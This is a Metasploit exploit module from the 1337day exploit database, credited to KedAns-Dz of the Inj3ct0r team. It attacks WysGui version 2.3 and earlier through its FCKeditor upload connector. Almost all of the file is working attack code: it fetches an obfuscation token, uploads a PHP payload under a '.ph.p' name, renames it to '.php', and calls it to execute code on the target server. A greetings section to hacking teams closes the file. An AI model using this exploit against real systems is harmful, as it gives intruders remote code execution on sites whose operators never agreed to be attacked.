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1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

##
# WysGui <= 2.3 (FCKeditor) File Upload Code Execution (meta)
# By KedAns-Dz
# Platform : PHP
##
# $Id: wysgui_fcke.rb | 2011-05-29 01:31  | KedAns-Dz $ 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WysGui <= 2.3 (FCKeditor) File Upload Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the FCK/CKeditor plugin.
        By renaming the uploaded file this vulnerability can be used to upload/execute
        code on the affected system.
      },
      'Author'         => [ 'KedAns-Dz <ked-h[at]1337day.com>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '1.0',
      'References'     =>
        [
          ['URL', 'http://1337day.com/exploits/16011'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          'Space'       => 1024,
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '02/05/2011',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "WysGui directory path", "/"]),
        ], self.class)
  end

  def check
    uri = ''
    uri << datastore['URI']
    uri << '/' if uri[-1,1] != '/'
    uri << 'fckeditor/editor/filemanager/connectors/php/upload.php?Type=File'
    res = send_request_raw(
      {
        'uri' => uri
      }, 25)

    if (res and res.body =~ /sample16.swf/)
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end


  def retrieve_obfuscation()

  end


  def exploit

    cmd_php = '<?php ' + payload.encoded + '?>'

    # Generate some random strings
    cmdscript  = rand_text_alpha_lower(20)
    boundary    = rand_text_alphanumeric(6)

    # Static files
    directory   = '/fckeditor/editor/images'
    uri_base    = ''
    uri_base << datastore['URI']
    uri_base << '/' if uri_base[-1,1] != '/'
    uri_base << 'fckeditor/editor/filemanager/connectors/php'

    # Get obfuscation code (needed to upload files)
    obfuscation_code = nil

    res = send_request_raw({
      'uri'     => uri_base + '/upload.php?Type=File'
    }, 25)

    if (res)

      if(res.body =~ /"obfus", "((\w)+)"\)/)
        obfuscation_code = $1
        print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
      else
        print_error("Error retrieving obfuscation code!")
        return
      end
    end



    # Upload shellcode (file ending .ph.p)
    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
    data << "#{cmdscript}.ph.p\r\n--#{boundary}"
    data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << cmd_php
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'    => uri_base + "/connector.php?Command=FileUpload&Type=File&CurrentFolder=" + directory + "&obfuscate=#{obfuscation_code}",
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
      {
        'Content-Length' => data.length,
        'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
      }
    }, 25)

    if (res and res.body =~ /File Upload Success/)
      print_status("Successfully uploaded #{cmdscript}.ph.p")
    else
      print_error("Error uploading #{cmdscript}.ph.p")
    end


    # Complete the upload process (rename file)
    print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
    res = send_request_raw({
      'uri'     => uri_base + '/connector.php?Command=FileUpload&Type=File&CurrentFolder=' + directory + '&filetotal=1'
    })


    # Rename the file from .ph.p to .php
    res = send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => uri_base + '/connector.php?Command=Edit&Type=File&CurrentFolder=',
        'vars_post' =>
        {
          'actionfile[0]' => "#{cmdscript}.ph.p",
          'renameext[0]'   => 'p',
          'renamefile[0]' => "#{cmdscript}.ph",
          'sortby' => 'name',
          'sorttype' => 'asc',
          'showpage' => '0',
          'action' => 'rename',
          'commit' => '',
        }
      }, 10)

    if (res and res.body =~ /successfully renamed./)
      print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
    else
      print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
    end


    # Finally call the payload
    print_status("Calling payload: #{cmdscript}.php")
    uri = ''
    uri << datastore['URI']
    uri << '/' if uri[-1,1] != '/'
    uri << directory + cmdscript + ".php"
    res = send_request_raw({
      'uri'  => uri
    }, 25)

  end

end

#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever 
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================